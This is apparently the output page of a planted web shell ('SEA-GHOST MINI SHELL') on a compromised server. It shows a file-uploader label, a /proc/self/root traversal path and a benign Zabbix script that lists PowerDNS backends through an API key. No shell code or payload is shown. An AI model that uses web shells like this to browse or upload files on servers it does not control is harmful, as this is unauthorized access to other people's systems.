[ SEA-GHOST MINI SHELL]

Path : /proc/2/cwd/proc/self/root/proc/self/root/proc/2/task/2/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/cwd/proc/self/root/proc/self/root/proc/2/task/2/cwd/var/lib/zabbix/pdns_back_discovery.sh

#!/bin/bash

host=$1
port=$2
apikey=$3

first=1
IFS=$'\n'
list=$(curl "$host:$port/api/v1/servers/localhost" --header "X-API-Key: $apikey" 2>/dev/null | jq -r '.servers[] | "\(.name)"')

echo -ne "{ \"data\" : [\n";

for LINE in $list
{
        if [ $first == 0 ]; then echo -ne ",\n";
        fi
        first=0

        echo -ne "{"
        echo -ne " \"{#BACKNAME}\" : \"$LINE\" ";
        echo -ne " }"
}

echo -ne " ]";
echo -ne " }\n";

SEA-GHOST - SHELL CODING BY SEA-GHOST